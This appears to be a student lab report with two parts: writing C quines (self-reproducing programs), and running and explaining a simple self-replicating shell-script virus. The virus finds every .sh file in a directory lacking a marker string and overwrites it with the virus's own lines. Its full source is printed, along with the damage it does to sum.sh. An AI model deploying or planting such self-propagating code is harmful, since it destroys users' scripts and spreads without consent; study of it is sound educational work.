Quine

Lab 5

Himanshu Sharma 202117006

TASK 1: Generating Quine

Given template for Quine (self – reproducing program).

After execution we can see that the generated output is exact copy of the source code template.c

q1.c | template.c

```c
int main(){char *c="int main(){char *c=%c%s%c;printf(c,34,c,34);}";printf(c,34,c,34);}
```

```
[03/23/22]seed@VM:~/lab5$ ./template
int main(){char *c="int main(){char *c=%c%s%c;printf(c,34,c,34);}";printf(c,34,c
,34);}[03/23/22]seed@VM:~/lab5$
```

Our task was to modify given program into quine.

```c

#include <stdio.h>

char name[] = "Alice Wonderland";

int main() {printf("%s\n", name);}
```

q1.c | *template.c

```c
#include <stdio.h>

char name[] = "Alice Wonderland";
int main() {char *c="%c#include <stdio.h>%c%cchar name[] = %cAlice Wonderland%c;%cint main() {char *c=
%c%s%c;printf(c,10,10,10,34,34,10,34,c,34);}";printf(c,10,10,10,34,34,10,34,c,34);}
```

```
[03/23/22]seed@VM:~/lab5$
[03/23/22]seed@VM:~/lab5$
[03/23/22]seed@VM:~/lab5$ gcc -o q1 q1.c
[03/23/22]seed@VM:~/lab5$ ./q1 > output.txt
[03/23/22]seed@VM:~/lab5$ diff -w output.txt q1.c
[03/23/22]seed@VM:~/lab5$
```

```
[03/23/22]seed@VM:~/lab5$ cat output.txt

#include <stdio.h>

char name[] = "Alice Wonderland";
int main() {char *c="%c#include <stdio.h>%c%cchar name[] = %cAlice Wonderland%c;
%cint main() {char *c=%c%s%c;printf(c,10,10,10,34,34,10,34,c,34);}";printf(c,10,
10,10,34,34,10,34,c,34);}[03/23/22]seed@VM:~/lab5$
[03/23/22]seed@VM:~/lab5$
```

Here we can see that the output generated from the output.txt file is exactly similar to the original C file. Using diff -w NO output is generated means no differences.

Task 2: NEXT PAGE ----->

TASK 2. Malicious shell script

Name.sh

```
# ! /bin/sh
target_files=`ls *.sh`
for file in $target_files
do
        flag=`grep -c 1737 $file`
        if test $flag -eq 0
        then
                head -15 $0 > .1737.$$
                tail +21 $file >> .1737.$$
                mv .1737.$$ $file
                chmod +x $file
        fi
done
echo "Please enter your name and hit <enter>: \c"
read name
echo Hello, $name
exit 0
```

Sum.sh

```
# !/bin/sh
echo "Please enter a number and hit <enter>: \c"
read num1
echo "Please enter another number and hit <enter>: \c"
read num2
sum=`expr $num1 + $num2`
echo $num1 + $num2 = $sum
exit 0
```

```
himanshu@HIMANSHU:~/lab6$ bash sum.sh
Please enter a number and hit <enter>: \c
3
Please enter another number and hit <enter>: \c
4
3 + 4 = 7
```

Initially we executed the sum.sh and it gets executed as intended. Giving us the proper result.

```
himanshu@HIMANSHU:~/lab6$ bash name.sh
Please enter your name and hit <enter>: \c
himanshu
Hello, himanshu
```

Similarly, when name.sh is executed take the user input and print “Hello, $name” where $name denote entered name.

```
himanshu@HIMANSHU:~/lab6$ bash sum.sh
Please enter your name and hit <enter>: \c
himanshu
```

But when we again execute our sum.sh the output is different from the original which it was used to be. So we check what changes have happened to our original sum.c file.

```
himanshu@HIMANSHU:~/lab6$ cat sum.sh
# ! /bin/sh
target_files=`ls *.sh`
for file in $target_files
do
        flag=`grep -c 1737 $file`
        if test $flag -eq 0
        then
                head -15 $0 > .1737.$$
                tail +21 $file >> .1737.$$
                mv .1737.$$ $file
                chmod +x $file
        fi
done
echo "Please enter your name and hit <enter>: \c"
read name
himanshu@HIMANSHU:~/lab6$
```

Original content of the C file is replaced with name.sh

<u>WHY DID IT HAPPEN ???</u>

The given section is used to search all the shell files in the current directory. The for loop goes through all the files and checks 1737 should not be present in the file because our attacker file contain 1737 so we want to avoid manipulating it.

```
target_files=`ls *.sh`
for file in $target_files
do
        flag=`grep -c 1737 $file`
        if test $flag -eq 0
```

First 15 lines of content from name.sh file is stored in temporary file .1737.$$ file and the tail is used to append content from the particular .sh file starting from 21 line till the end. Finally the selected shell file is replaced with temporary file which we generated. And make it executable.

```
head -15 $0 > .1737.$$
tail +21 $file >> .1737.$$
mv .1737.$$ $file
chmod +x $file
```